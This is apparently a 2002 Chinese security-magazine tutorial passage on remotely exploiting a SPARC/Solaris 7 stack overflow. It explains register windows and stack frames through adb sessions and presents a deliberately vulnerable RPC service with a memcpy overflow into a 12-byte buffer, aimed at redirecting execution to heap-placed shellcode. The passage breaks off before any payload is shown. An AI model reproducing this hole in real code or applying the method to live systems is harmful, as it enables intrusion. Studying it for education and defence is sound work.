首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第36期->技术专题
期刊号: 类型: 关键词:
第二章 远程 EXPLOIT SOLARIS 7/SPARC Stack Overflow

作者:莫大 <master_moda@yahoo.com>
日期:2002-11-01

引子:

我第一次听到Solaris操作系统这个名字,就想它可能是Sun Microsystem的产品。因为Solar也就是Sun的意思,象我们说的太阳系,英文就叫Solar System嘛。后来果然发现它就是SUNOS系统加上CDE(Common Desktop Environment)。

经过了第一章的热身运动,这一章的Exploit要涉及一些新内容,而且难度也要上个台阶。首先,这是个远程Exploit,即运行于其他机器上的Server程序有漏洞,我们如何去Exploit它的漏洞。在今天的Distributed和Client-Server运行环境下,计算机之间通过网络系统而联成一体,远程Exploit也多了起来。我记得在91年到93年间我刚接触计算机时,工作中看到的计算机病毒或病虫大多是要通过软盘传播----就象AIDS一样,需要Physical Contact才能传染。时代在前进,病毒也在前进,现在很多计算机病毒就象流感一样,通过空气也能传播,当然这个空气就是无处不在的网络了。

第二,这个Exploit是针对RISC处理器的代表----Sparc进行的。Sparc处理器让我实在头痛,我几乎一度放弃研究Exploit它的方法。问题的关键在于它与Solaris系统设置重重障碍,防止代码从堆栈中执行,象第一章那样在Intel/x86堆栈区运行黑客码的好时光已成往事。根据SunSolve Online的资料介绍,在Sparc V8处理器上运行Solaris V2.6或更高版本时,如果在/etc/system文件中设置set noexec-user-stack =1,就可以防止代码在堆栈中执行;而Sparc V9处理器除了上面的软设置外,它从硬件设计上根本就不让64位代码在堆栈中执行。所以我这里设计的Exploit例子是让黑客码在HEAP区运行。

虽然这个例子中黑客码在HEAP区运行,但设计的Overflow却并不在Heap区。行家们都公认----我当然紧跟行家们的意见,对Heap区Overflow的Exploit要比堆栈中的难。难就难在不知道Overflow的目标是什么?象第一章发生在堆栈区的Overflow目标很明确,那就是紧靠着缓冲区的被调用函数的返回地址,这在Sparc机器上的HEAP内存是不可能的。所以我将Overflow设计在堆栈区发生,然后跳到HEAP区去执行黑客码。

Sparc处理器背景知识介绍:

先来一点关于Sparc处理器的背景知识介绍。作为RISC型处理器,Sparc的指令群包含通用而有限的指令,寻址方式较少。它的指令长度固定,与寄存器长度(32位或64位)一样----我们这里只研究32位的指令。另一方面,Sparc处理器具有大量的通用寄存器,我看到的资料显示,Sparc V8就有40到520个寄存器,这些寄存器被分成多个寄存器窗口(Register Window)。在程序运行时,寄存器窗口中保存着当前进程的状态(STATUS)信息。任何时候进程只利用到一个寄存器窗口,只有发生函数调用或返回时,Sparc执行指令save或restore,进程才会在不同的寄存器窗口间移动(SHIFT)。

在Solaris操作系统启动后不久,函数调用一个套一个,很快就会把所有的寄存器窗口占用。那么接下来的函数调用将会导致寄存器窗口们以FIFO(First In First Out)的方式溢出:最早被用到的寄存器窗口的内容被拷贝到内存中,这些被拷贝的内容占据着一块堆栈空间,我们姑且称它为堆栈块(Stack Frame);然后这个空出来的窗口就被新的函数调用征用。

百闻不如一见,我用下面的dummy.c程序来演示一下寄存器窗口与堆栈块的概念。


<========================dummy.c============================>

#include<stdio.h>

foo2 ( char * str )
{
       printf("Input String is %s in foo2 \n", str);
}

foo1 ( char * str )
{
       printf("entered foo1 \n");
       foo2(str);
       printf("leaving foo1 \n");

}

main (int argc, char* argv[])
{
       foo1( argv[1] );
}

<===========================================================>

这里我用的机器beijing;beijing 的处理器是Sparc V9,运行Solaris 7。与上一章用到的GNU工具不一样,这里我用的编译工具是cc, debug工具是adb。

先用cc把程序编译。
[moda@beijing]$ cc dummy.c -o dummy

再用adb对dummy进行debug分析。adb是具有悠久历史的debugger,它的使用方法与gdb差不太多----只是更不方便而已。

[moda@beijing]$ adb dummy
main:b
foo1:b
foo2:b            
/*
分别在main,foo1,foo2设置断点。接着开始运行,输入参数为字符串"ABCD"    
*/
:r ABCD            
breakpoint at:
main:           save    %sp, -0x60, %sp        
/*
程序暂停在断点main。下面Single Step执行save指令,这个指令移动了程序当前的寄存器窗口。
*/
:S
stopped at:
main+4:         st      %i1, [%fp + 0x48]
/*
这时程序已经进入main,停留在main+4。我们用$r命令显示当前寄存器窗口的内容:
*/
$r            
g0    0                                 l0      0
g1    ff195f20      _return_zero        l1      0
g2    0                                 l2      0
g3    0                                 l3      0
g4    0                                 l4      0
g5    0                                 l5      0
g6    0                                 l6      0
g7    0                                 l7      0
o0    0                                 i0      2
o1    0                                 i1      ffbefd24
o2    0                                 i2      ffbefd30
o3    0                                 i3      20800
o4    0                                 i4      0
o5    0                                 i5      0
sp    ffbefc60                          fp      ffbefcc0
o7    0                                 i7      106a0       _start+0xb8
y     0
tstate: 4482001a07  (ccr=0x44, asi=0x82, pstate=0x1a, cwp=0x7)
pstate: ag:0 ie:1 priv:0 am:1 pef:1 mm:0 tle:0 cle:0 mg:0 ig:0
pc    1074c main+4:             st      %i1, [%fp + 0x48]
npc   10750 main+8:             st      %i0, [%fp + 0x44]
/*
pc为Program Counter寄存器,它保存有当前机器指令的地址---现在是1074C(main+4),npc为Next Program Counter寄存器,也就是下一个将要执行的机器指令的地址10750。

g0-g7寄存器保存程序的全局变量(Global Variable),l0-l7寄存器保存局部变量(Local Variable)。i0-i7输入寄存器保存有当前函数(这里是main)的输入参数。

细心的朋友会注意到i6寄存器被fp所代替,它实际上是指向进程上一堆栈块(Stack Frame)的指针;而i7寄存器也是一个指针,它指向调用当前函数(在这里就是调用main函数)的机器指令,通常这是个call指令或jump指令。

o0-o7输出寄存器存有当前函数main的输出参数,但当main函数调用其他函数(如foo1)时,o0-o7就成为被调用函数(如foo1)的输入寄存器i0-i7,现在大家看到它们的都是0----除了o6。o6寄存器也就是sp寄存器,它保存着当前函数堆栈块指针。

再回头看看当前函数main的输入寄存器,为什么i0到i3寄存器里面都有非零的内容?难道main函数有那么多输入参数?!第一个是输入参数的总数argc = 2;第二个为输入参数矩阵指针*argv[]=ffbefd24 (在下面我们把ffbefd24矩阵中的两个字符串分别以/S格式输出,你们可以看到它们确实是程序dummy的输入参数argv[0]="dummy"和argv[1]="ABCD");第三个好象是程序运行的环境变量矩阵指针,因为它指向环境变量_INIT_UTS_RELEASE、_INIT_UTS_VERSION、path等等;最后一个20800是什么呢?

其实只有i0与i1寄存器的内容是被函数main用到的,也就是我们源程序中的输入参数argc与argv[],系统在调用main函数前并没有初始化i2与i3寄存器,所以它们保留着以前的内容。

*/
ffbefd24/4X        
ffbefd24:       ffbefe00        ffbefe06        0               ffbefe0b
ffbefe00/S            
ffbefe00:       dummy
ffbefe06/S    
ffbefe06:       ABCD
/*
寄存器sp与fp均为指向堆栈块(Stack Frame)的指针,那么堆栈块的结构(STRUCTURE)是怎样定义的呢?它的定义在/usr/include/system/frame.h 中可以找到:

struct frame {
        long    fr_local[8];            /* saved locals */
        long    fr_arg[6];              /* saved arguments [0 - 5] */
        struct frame    *fr_savfp;      /* saved frame pointer */
        long    fr_savpc;               /* saved program counter */
#if !defined(__sparcv9)
        char    *fr_stret;              /* struct return addr */
#endif  /* __sparcv9 */
        long    fr_argd[6];             /* arg dump area */
        long    fr_argx[1];             /* array of args past the sixth */
};

根据堆栈块的定义,在其STRUCTURE的第56或0x38字节(8 * 4 + 6 * 4 = 56 字节)处为指向上一堆栈块的指针,应该与%fp一样,第60(0x3C)字节处为调用当前函数的机器指令地址,应该与%i7一样。那么是不是这样呢?在下面我们把从%sp=ffbefc60开始的当前堆栈块内容用/24X格式显示出来:在当前堆栈块%sp+0x38处的内容确实是0xffbefcc0,也就是寄存器fp中的内容,在%sp+0x3C中的确实是调用main函数的机器指令地址,也就是i7的内容106a0。
*/
ffbefc60/24X
ffbefc60:       0               0               0               0
                0               0               0               0
                2               ffbefd24        ffbefd30        20800
                0               0               ffbefcc0        106a0
                ff3bb0ec        20800           0               0
                0               0               ffbefcc0        10674
main+4/8i            
main+4:         st      %i1, [%fp + 0x48]
                st      %i0, [%fp + 0x44]
                or      %i1, %g0, %l0
            call    foo1            //该指令地址为10758
                ld      [%l0 + 0x4], %o0
                ret
                restore
                ret
/*
我们继续往下面执行:
*/
:c
breakpoint at:
foo1:           save    %sp, -0x60, %sp    
/*
中断在函数foo1断点处。单步执行save指令并移动寄存器窗口
*/
:s
stopped at:            
foo1+4:         st      %i0, [%fp + 0x44]
/*
指令"save    %sp, -0x60, %sp"把sp指针向低地址移动了0x60个字节,实际上这就为foo1在堆栈中开辟了一个新的堆栈块。与此同时,寄存器窗口也发生移动,於是foo1就有了一个与main函数不同的、新的寄存器窗口。这个窗口与main函数寄存器窗口的关系如下图所示:




其中,调用函数main的输出寄存器o0-o7与被调用函数foo1的输入寄存器i0-i7是同一组寄存器,为两个函数共用(英文中叫作overlapped),我们在前面也提到这事。在函数调用(call)之前,o0-o5会充填上被调用函数的输入参数。随着程序进入被调用函数foo1,o0-o5也就成为被调用函数的输入寄存器,原函数main的sp也就变成当前函数foo1的fp。

等到最后foo1执行完毕返回main函数时,指令restore会执行,寄存器窗口发生逆向移动:也就是foo1的输入寄存器变成main的输出寄存器,foo1的fp变成main的当前堆栈块指针寄存器sp。同时,系统根据foo1的i7可以计算出foo1返回到main函数的地址,这个返回地址应该是%i7+8Bytes,也就是等于堆栈块第0x3C的内容+8Bytes (因为已经有一个4Byte的指令在pipeline中运行了,所以一共要加8Bytes)。

上面所说的都是些理论,我们联系实际来核实一下当前函数foo1的寄存器窗口以及它的当前堆栈块%sp的内容:
*/
$r
g0    0                                 l0      0
g1    ff195f20      _return_zero        l1      0
g2    0                                 l2      0
g3    0                                 l3      0
g4    0                                 l4      0
g5    0                                 l5      0
g6    0                                 l6      0
g7    0                                 l7      0
o0    0                                 i0      ffbefe06
o1    0                                 i1      0
o2    0                                 i2      0
o3    0                                 i3      0
o4    0                                 i4      0
o5    0                                 i5      0
sp    ffbefc00                          fp      ffbefc60
o7    0                                 i7      10758       main+0x10
y     0
tstate: 4482001a02  (ccr=0x44, asi=0x82, pstate=0x1a, cwp=0x2)
pstate: ag:0 ie:1 priv:0 am:1 pef:1 mm:0 tle:0 cle:0 mg:0 ig:0
pc    10704 foo1+4:             st      %i0, [%fp + 0x44]
npc   10708 foo1+8:             sethi   %hi(0x20800), %l0
ffbefc00/24X
ffbefc00:       0               0               0               0
                0               0               0               0
                ffbefe06        0               0               0
                0               0               ffbefc60        10758
                10674           0               0               0
                0               0               ffbefc80        20820

/*
foo1只有一个输入参数----即指向字符串"ABCD"的指针,这个指针0xffbefe06保存在i0寄存器中,而其他的输入寄存器是空的。foo1的输出寄存器o0-o7现在也都是空的。fp寄存器保存上一个堆栈块的指针,也就是main函数的堆栈块的指针0xffbefc60。sp寄存器为当前函数堆栈块的指针0xffbefc00。

我们上面还用/24X格式把sp指向的堆栈块显示出来,请大家温习一下它的内容。特别提请大家注意的是:%sp+0x3C中现在为10758,正是调用当前函数foo1的指令"call    foo1"的地址,等到foo1返回到main时,系统计算的返回地址为10758+8Bytes=10760。

下面继续执行程序,请大家睁大雪亮的眼睛核实对照,我就不象唐僧那样叽叽歪歪了。
*/
foo1+4/8i
foo1+4:         st      %i0, [%fp + 0x44]
                sethi   %hi(0x20800), %l0
                or      %l0, 0x1e0, %l0
                call    0x20870
                or      %l0, %g0, %o0
                call    foo2        //该指令地址为10718
                or      %i0, %g0, %o0
                call    0x20870
:c
entered foo1
breakpoint at:        
foo2:           save    %sp, -0x60, %sp
/*
中断在断点foo2处。单步执行save指令而移动寄存器窗口
*/
:s            
stopped at:
foo2+4:         st      %i0, [%fp + 0x44]
/*
显示当前寄存器窗口内容:
*/
$r            
g0    0                                 l0      0
g1    4                                 l1      0
g2    0                                 l2      0
g3    0                                 l3      0
g4    0                                 l4      0
g5    0                                 l5      0
g6    0                                 l6      0
g7    0                                 l7      0
o0    0                                 i0      ffbefe06
o1    0                                 i1      0
o2    0                                 i2      0
o3    0                                 i3      0
o4    0                                 i4      0
o5    0                                 i5      0
sp    ffbefba0                          fp      ffbefc00
o7    0                                 i7      10718       foo1+0x18
y     0
tstate: 4482001a02  (ccr=0x44, asi=0x82, pstate=0x1a, cwp=0x2)
pstate: ag:0 ie:1 priv:0 am:1 pef:1 mm:0 tle:0 cle:0 mg:0 ig:0
pc    106cc foo2+4:             st      %i0, [%fp + 0x44]
npc   106d0 foo2+8:             sethi   %hi(0x20800), %o0
/*
显示当前堆栈块内容
*/
ffbefba0/24X
ffbefba0:       0               0               0               0
                0               0               0               0
                ffbefe06        0               0               0
                0               0               ffbefc00        10718
                0               0               0               0
                0               0               0               1
foo2+4/5i
foo2+4:         st      %i0, [%fp + 0x44]
                sethi   %hi(0x20800), %o0
                or      %o0, 0x1c0, %o0
                call    0x20870
                or      %i0, %g0, %o1
:c
Input String is ABCD in foo2
leaving foo1
process terminated
$q
[moda@beijing]$

上面我已经尽可能的介绍了关于Sparc处理器寄存器窗口(Regsiter Window)和堆栈块(Stack Frame)的概念,如果大家还是糊里糊涂的话,那只好怪我小时候语文老师没有教好。


Sparc缓冲区在堆栈中的内存分配情况:


本来想把缓冲区的内存分配情况与寄存器窗口及堆栈块在上面一起介绍,不过那会把大家搞得更糊涂,所以我把它抽出来单独讲。

下面的dummy.c 只是把上面的dummy.c程序稍微改了一下,在foo2函数中加一个缓冲区buf。我们将把字符串AAAAAAAA传到buf中去,看它落在内存哪个地方:

<=========================dummy.c ========================>

#include<stdio.h>
foo2 ( char * str )
{
     buf[16];
     strncpy(buf, str, 16);
       printf("Input String is %s in foo2 \n", buf);
}
foo1 ( char * str )
{
       printf("entered foo1 \n");
       foo2(str);
       printf("leaving foo1 \n");

}
main (int argc, char* argv[])
{
       foo1( argv[1] );
}

<=========================================================>


在Debug这个dummy之前,我们来看一下它的执行文件的namelist,请大家注意第41号----strncpy 与第68号----printf两个symbol的value,这些values是函数strncpy与printf在Global Offset Table(GOT)中的entries,系统通过这些Entries可以找到它们对应的函数的起始地址。

[moda@beijing]$ nm -x dummy

dummy:

[Index]   Value      Size      Type  Bind  Other Shndx   Name

[18]    |0x000209e8|0x00000000|SECT |LOCL |0    |17     |
[2]     |0x000100d4|0x00000000|SECT |LOCL |0    |1      |
[3]     |0x000100e8|0x00000000|SECT |LOCL |0    |2      |
[4]     |0x000101d8|0x00000000|SECT |LOCL |0    |3      |
[5]     |0x000103a8|0x00000000|SECT |LOCL |0    |4      |
[6]     |0x00010560|0x00000000|SECT |LOCL |0    |5      |
[7]     |0x000105a0|0x00000000|SECT |LOCL |0    |6      |
[8]     |0x000105d0|0x00000000|SECT |LOCL |0    |7      |
[9]     |0x00010610|0x00000000|SECT |LOCL |0    |8      |
[10]    |0x000107b0|0x00000000|SECT |LOCL |0    |9      |
[11]    |0x00010800|0x00000000|SECT |LOCL |0    |10     |
[12]    |0x00010850|0x00000000|SECT |LOCL |0    |11     |
[13]    |0x00010854|0x00000000|SECT |LOCL |0    |12     |
[14]    |0x00020858|0x00000000|SECT |LOCL |0    |13     |
[15]    |0x0002085c|0x00000000|SECT |LOCL |0    |14     |
[16]    |0x000208cc|0x00000000|SECT |LOCL |0    |15     |
[17]    |0x000209bc|0x00000000|SECT |LOCL |0    |16     |
[19]    |0x00020a10|0x00000000|SECT |LOCL |0    |18     |
[20]    |0x00020a4f|0x00000000|SECT |LOCL |0    |19     |
[21]    |0x00000000|0x00000000|SECT |LOCL |0    |20     |
[22]    |0x00000000|0x00000000|SECT |LOCL |0    |21     |
[23]    |0x00000000|0x00000000|SECT |LOCL |0    |22     |
[24]    |0x00000000|0x00000000|SECT |LOCL |0    |23     |
[25]    |0x00000000|0x00000000|SECT |LOCL |0    |24     |
[26]    |0x00000000|0x00000000|SECT |LOCL |0    |25     |
[44]    |0x000208cc|0x00000000|OBJT |GLOB |0    |15     |_DYNAMIC
[28]    |0x00020a4f|0x00000000|OBJT |LOCL |0    |19     |_END_
[53]    |0x00020858|0x00000000|OBJT |GLOB |0    |13     |_GLOBAL_OFFSET_TABLE_
[42]    |0x0002085c|0x00000000|OBJT |GLOB |0    |14     |_PROCEDURE_LINKAGE_TABLE_
[27]    |0x00010000|0x00000000|OBJT |LOCL |0    |1      |_START_
[54]    |0x00000000|0x00000000|NOTY |WEAK |0    |UNDEF  |__1cH__CimplKcplus_fini6F_v_
[66]    |0x00000000|0x00000000|NOTY |WEAK |0    |UNDEF  |__1cH__CimplKcplus_init6F_v_
[46]    |0x00020a0c|0x00000004|OBJT |GLOB |0    |17     |___Argv
[51]    |0x00020a08|0x00000004|OBJT |GLOB |0    |17     |__cg92_used
[34]    |0x00020a04|0x00000004|OBJT |LOCL |0    |17     |__crt_scratch
[65]    |0x000209e8|0x00000018|OBJT |GLOB |0    |17     |__environ_lock
[49]    |0x00000000|0x00000000|NOTY |GLOB |0    |ABS    |__fsr_init_value
[45]    |0x00020a4f|0x00000000|OBJT |GLOB |0    |18     |_edata
[62]    |0x00020a4f|0x00000000|OBJT |GLOB |0    |19     |_end
[52]    |0x00020a00|0x00000004|OBJT |GLOB |0    |17     |_environ
[47]    |0x00010858|0x00000000|OBJT |GLOB |0    |12     |_etext
[67]    |0x00000000|0x00000000|NOTY |WEAK |0    |UNDEF  |_ex_deregister
[31]    |0x00010850|0x00000000|NOTY |LOCL |0    |11     |_ex_range0
[39]    |0x00010850|0x00000000|NOTY |LOCL |0    |11     |_ex_range1
[61]    |0x00000000|0x00000000|NOTY |WEAK |0    |UNDEF  |_ex_register
[30]    |0x000209cc|0x00000000|NOTY |LOCL |0    |16     |_ex_shared0
[38]    |0x000209dc|0x00000000|NOTY |LOCL |0    |16     |_ex_shared1
[32]    |0x00010610|0x00000000|NOTY |LOCL |0    |8      |_ex_text0
[40]    |0x000107b0|0x00000000|NOTY |LOCL |0    |8      |_ex_text1
[57]    |0x000208a4|0x00000000|FUNC |GLOB |0    |UNDEF  |_exit
[64]    |0x00010800|0x00000050|FUNC |GLOB |0    |10     |_fini
[48]    |0x000107b0|0x00000050|FUNC |GLOB |0    |9      |_init
[58]    |0x00010854|0x00000004|OBJT |GLOB |0    |12     |_lib_version
[63]    |0x00010610|0x000000d0|FUNC |GLOB |0    |8      |_start
[59]    |0x0002088c|0x00000000|FUNC |GLOB |0    |UNDEF  |atexit
[33]    |0x00000000|0x00000000|FILE |LOCL |0    |ABS    |crt1.s
[29]    |0x00000000|0x00000000|FILE |LOCL |0    |ABS    |crti.s
[37]    |0x00000000|0x00000000|FILE |LOCL |0    |ABS    |crtn.s
[1]     |0x00000000|0x00000000|FILE |LOCL |0    |ABS    |dummy
[36]    |0x00000000|0x00000000|FILE |LOCL |0    |ABS    |dummy.c
[43]    |0x00020a00|0x00000004|OBJT |WEAK |0    |17     |environ
[60]    |0x00020898|0x00000000|FUNC |GLOB |0    |UNDEF  |exit
[55]    |0x00010740|0x00000038|FUNC |GLOB |0    |8      |foo1
[56]    |0x000106f0|0x0000003c|FUNC |GLOB |0    |8      |foo2
[50]    |0x00010788|0x00000028|FUNC |GLOB |0    |8      |main
[41]    |0x000208bc|0x00000000|FUNC |GLOB |0    |UNDEF  |printf
[68]    |0x000208b0|0x00000000|FUNC |GLOB |0    |UNDEF  |strncpy
[35]    |0x00000000|0x00000000|FILE |LOCL |0    |ABS    |values-Xs.c
[moda@beijing]$


下面我们把新的dummy在Debug模式下运行,请follow my comment closely:

[moda@beijing]$ adb dummy
foo1:b
foo2:b            
/*
在foo1与foo2入口设断点。以字符串"AAAAAAAA"为输入参数,开始运行:
*/
:r AAAAAAAA            
breakpoint at:        
foo1:           save    %sp, -0x60, %sp
/*
程序暂停在foo1断点处,Single Step执行save指令
*/
:s                
stopped at:
foo1+4:         st      %i0, [%fp + 0x44]
/*
foo1对应的寄存器窗口:
*/
$r
g0    0                                 l0      0
g1    ff195f20      _return_zero        l1      0
g2    0                                 l2      0
g3    0                                 l3      0
g4    0                                 l4      0
g5    0                                 l5      0
g6    0                                 l6      0
g7    0                                 l7      0
o0    0                                 i0      ffbefdfe
o1    0                                 i1      0
o2    0                                 i2      ff1ba5e8    mem_lock
o3    0                                 i3      0
o4    0                                 i4      21fb8     __cg92_used+0x15b0
o5    0                                 i5      ff11b8c4    atexit+0x74
sp    ffbefbf8                          fp      ffbefc58
o7    0                                 i7      10798       main+0x10
y     0
tstate: 4482001a00  (ccr=0x44, asi=0x82, pstate=0x1a, cwp=0x0)
pstate: ag:0 ie:1 priv:0 am:1 pef:1 mm:0 tle:0 cle:0 mg:0 ig:0
pc    10744 foo1+4:             st      %i0, [%fp + 0x44]
npc   10748 foo1+8:             sethi   %hi(0x20800), %l0
:c
entered foo1            //在foo1函数中的输出
breakpoint at:            
foo2:           save    %sp, -0x70, %sp
/*
继续执行,程序暂停在foo2断点处。Single Step执行save指令而移动寄存器窗口
*/
:s                    
stopped at:
foo2+4:         st      %i0, [%fp + 0x44]
/*
函数foo2对应的寄存器窗口:
*/
$r
g0    0                                 l0      0
g1    4                                 l1      0
g2    0                                 l2      0
g3    0                                 l3      0
g4    0                                 l4      0
g5    0                                 l5      0
g6    0                                 l6      0
g7    0                                 l7      0
o0    0                                 i0      ffbefdfe
o1    0                                 i1      0
o2    0                                 i2      0
o3    0                                 i3      0
o4    0                                 i4      0
o5    0                                 i5      0
sp    ffbefb88                          fp      ffbefbf8
o7    0                                 i7      10758       foo1+0x18
y     0
tstate: 4482001a06  (ccr=0x44, asi=0x82, pstate=0x1a, cwp=0x6)
pstate: ag:0 ie:1 priv:0 am:1 pef:1 mm:0 tle:0 cle:0 mg:0 ig:0
pc    106f4 foo2+4:             st      %i0, [%fp + 0x44]
npc   106f8 foo2+8:             add     %fp, -0x10, %l0
/*
现在程序已经进入foo2函数,当前机器指令的地址为pc=106f4,我们看看紧接着这个地址的指令:
*/
.,8/i
foo2+8:         add     %fp, -0x10, %l0
                or      %i0, %g0, %o1
                mov     0x10, %o2
foo2+14:       call    0x208b0        //call strncpy
                or      %l0, %g0, %o0
                sethi   %hi(0x20800), %o0
                or      %o0, 0x210, %o0
foo2+24:       call    0x208bc        //call printf
/*
在foo2+14位置处为函数调用"call    0x208b0",从上面dummy的namelist我们知道,这里是调用函数strncpy,而下面的foo2+24位置显然为调用函数printf。由于buf缓冲区是strncpy的输入参数,在程序进入strncpy函数后,输入寄存器内应该可以找到buf的地址,所以我们在strncpy的入口设置一个断点让程序在那里暂停:
*/
strncpy:b
:c
breakpoint at:
strncpy:        save    %sp, -0x40, %sp
/*
程序接着运行直到strncpy断点。Single Step:
*/
:s
stopped at:
strncpy+4:      cmp     %i2, 0x8
/*
我们来研究一下函数strncpy对应的寄存器窗口,特别是它的输入寄存器:
*/
$r
g0    0                                 l0      0
g1    ff133460      strncpy             l1      0
g2    0                                 l2      0
g3    0                                 l3      0
g4    0                                 l4      0
g5    0                                 l5      0
g6    0                                 l6      0
g7    0                                 l7      0
o0    0                                 i0      ffbefbe8
o1    0                                 i1      ffbefdfe
o2    0                                 i2      10
o3    0                                 i3      0
o4    0                                 i4      0
o5    0                                 i5      0
sp    ffbefb48                        fp      ffbefb88
o7    0                                 i7      10704       foo2+0x14
y     0
tstate: 4482001a04  (ccr=0x44, asi=0x82, pstate=0x1a, cwp=0x4)
pstate: ag:0 ie:1 priv:0 am:1 pef:1 mm:0 tle:0 cle:0 mg:0 ig:0
pc    ff133464 strncpy+4:       cmp     %i2, 0x8
npc   ff133468 strncpy+8:       bleu    strncpy+0x650
/*
输入寄存器i0保存着buf的起始地址0xfbefbe8,这是strncpy拷贝的目标地址,而寄存器i1中保存的ffbefdfe是strncpy拷贝的源地址。在函数strncpy调用返回后,buf中(从地址0xfbefbe8开始)应该填满了ASCII码0X41414141。那么我们就在strncpy返回后的地址foo2+1c设置一个断点,让程序运行到那里再停下来:
*/
foo2+1c:b
:c
breakpoint at:
foo2+0x1c:      sethi   %hi(0x20800), %o0
/*
程序已经从strncpy中返回,我们把缓冲区buf附近的内存显示出来,就从函数strncpy的当前堆栈块%sp=ffbefb48开始:
*/

ffbefb48/24X
ffbefb48:       0               0               0               0
                0               0               0               0
                ffbefbe8        ffbefdfe        10              0
                0               0               ffbefb88        10704
foo2的 sp->     ffbefbe8        0               0               0
                0               0               0               0
ffbefba8:       ffbefdfe        0               0               0
                0               0               ffbefbf8        10758
                0               0               ffbefbf8        10750
                0               0               0               0
buf的位置->     41414141        41414141        0               0
foo1的 sp->     20a30           0               0               0
ffbefc08:       0               0               0               0
                ffbefdfe        0               ff1ba5e8        0
                21fb8           ff11b8c4        ffbefc58        10798
                0               ffbefdfe        0               0
                0               0               0               ff3e2660
                ffbefd1c        0               ff1ba608        0

(下面的程序运行省略......)


0xffbefbe8确实填满了字符串"AAAAAAAA"的ascii码0x41414141......。所以从地址0xffbefbe8到0xffbefbf7是系统分配给buf缓冲区的位置。再对照一下foo1函数与foo2函数的sp寄存器指针(请看上面的内存显示)我们可以知道,在内存中这个buf的地址是低于foo1堆栈块(从地址0xffbefbf8开始),而高于foo2堆栈块(从地址0xffbefb88开始)。

很显然,作为foo2的缓冲区buf,如果发生溢出的话,它只会覆盖掉地址比它高的foo1堆栈块;换句话说,在Sparc机器上,子函数(foo2)缓冲区溢出会覆盖调用它的母函数(foo1)的堆栈块。当母函数(foo1)返回到main函数时,系统根据母函数(foo1)堆栈块中第0x3c-0x40字节的内容计算foo1的返回地址,如果这个地址被覆盖掉,变成指向黑客码,你的Exploit就成功了!(当然,记住我在本章开始说的,黑客码不能在堆栈区执行,我们要让它在HEAP区中运行。)

如果同样的溢出发生在Intel/X86计算机上,foo2的缓冲区buf溢出会覆盖foo2的返回地址,结果是当foo2返回到foo1时程序就被Exploit。你们看到了,由于Sparc与Intel X86架构上的区别,对它们的Exploit是不一样的。


REMOTE PROCEDURE CALL(RPC)背景知识介绍:


不用担心,这里我只着重讲这一章要用到的RPC漏洞程序,我并不打算开RPC的课程----除非你们学校决定聘请我作教授,而且必须是正教授(Full Professor或Tenure Professor)。以前我在作研究生的时候,我所在的研究中心只有两个正教授,但有一堆副教授(Assistant Professor或 Associate Professor)。一旦通过Tenure Track做上正教授,就不用担心被解雇;而副教授是几年一签合同,如果在合同期间没有作出什么成果,合同到期后就会卷铺盖走人。所以我看到的副教授大都是兢兢业业,努力(奴隶)工作。而有的正教授把活交给手下干,自己过着悠悠哉哉的幸福生活。从那时起,我就下定决心:要么作正教授,要么不作。

结果你们也看到了,我反正没当上教授。所以呢,关于RPC的详细内容,请大家去问问你们的教授,这里我只讲我的RPC漏洞程序。

请看下面的RPC接口(Interface)文件msg.x,它规定了RPC Server和RPC Client之间远程调用(Invoke)与结果返回的接口。我们在msg.x中定义了一个RPC Procedure叫makemsg:


<==============msg.x=================>

const MAXLEN=2048;
typedef string svrmsg<MAXLEN>;
typedef char len_val<MAXLEN>;

typedef len_val fromName;
typedef len_val toName;
typedef len_val MSG;

struct  username_msg {
    fromName fromname;
    toName toname;
    MSG msg;
} ;


program MSGBOARD_PROG {
   version MSGBOARD_VERSION {
     svrmsg makemsg(username_msg)=1;
   } = 1;
} = 200000089;

<====================================>


makemsg这个RPC Procedure由下面的程序msg_proc.c实现, 它的功能很简单,就是把RPC Client 传来的字符串拼凑一下再传回给RPC Client。makemsg在执行中调用了两个子函数backup和inbackup。大家仔细看看inbackup中的memcpy,它把输入的字符串完全拷贝到区区12个字节的缓冲区tempDir中,如果输入的字符串长度超过12个字节,就会发生缓冲区溢出;而如果溢出覆盖了backup函数堆栈块的0x3c----0x40字节(也就是调用backup的指令地址),系统将会错误计算backup的返回地址。

同时,makemsg调用malloc在HEAP区产生了一个动态缓冲区backmsg,这个backmsg指向的动态缓冲区将会是我们黑客码的根据地。我们Exploit的目标就是把backup函数的返回地址改变成指向这个动态缓冲区,从而执行根据地中的黑客码。


<=========================msg_proc.c=============================>

#include "msg.h"
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <unistd.h>

int dynMemSize=6144;
extern int errno;
void backup(char*, int);
void inbackup(char*, int);

svrmsg * makemsg_1(username_msg* un_msg, struct svc_req *req)
{

    static svrmsg smsg;
    char *backmsg;
      int fromInt, toInt, msgInt;      

    if(smsg!=NULL) free(smsg);    

    fromInt=un_msg->fromname.len_val_len;
    toInt=un_msg->toname.len_val_len;
    msgInt=un_msg->msg.len_val_len;

    backmsg=malloc(dynMemSize);
    memset(backmsg,'\x00', dynMemSize);

    /*Client takes sometime to transmit the msg*/
    sleep(5);    

    /*Can't use strcpy cuz heap address contain \x00*/
    memcpy(backmsg, un_msg->fromname.len_val_val, fromInt);
    memcpy((char*)backmsg+fromInt, "  said  to  ", 12);
      memcpy((char*)backmsg+fromInt+12, un_msg->toname.len_val_val, toInt);
    memcpy((char*)backmsg+fromInt+toInt+12, "==> ", 4);
      memcpy((char*)backmsg+fromInt+toInt+16, un_msg->msg.len_val_val,\
        msgInt);

    /*Here call the vulnerable func*/
    backup(un_msg->fromname.len_val_val, fromInt);

    smsg=&backmsg[0];    
    return (&smsg);

}


void backup(char* bkFromName, int nmlen)
{
    inbackup(bkFromName, nmlen);
}


void inbackup(char *bkFromName, int nmlen)
{
   char tempDir[12];  
   memcpy(tempDir,bkFromName, nmlen);

}

<================================================================>


提醒大家一句,makemsg并不是RPC Server程序,它只是一个RPC的Procedure而已 ,真正的Server启动程序是由RPC编译器rpcgen产生的程序msg_svc。

下面的rmsg.c给出一个正常RPC Client的例子,它要求你输入RPC Server的机器名以及另外三个字符串:

<===========================rmsg.c================================>

#include <stdio.h>
#include "msg.h"

extern int errno;

main(int argc, char *argv[])
{
    CLIENT *clnt;
    char *server;
    char *from;
    char *to;
    char *message;
    svrmsg *result;
    username_msg req;

    if (argc != 5) {
       fprintf(stderr, "usage: %s host from to message \n",argv[0]);
       exit(1);
    }
    server = argv[1];
    from = argv[2];
    to = argv[3];
    message = argv[4];

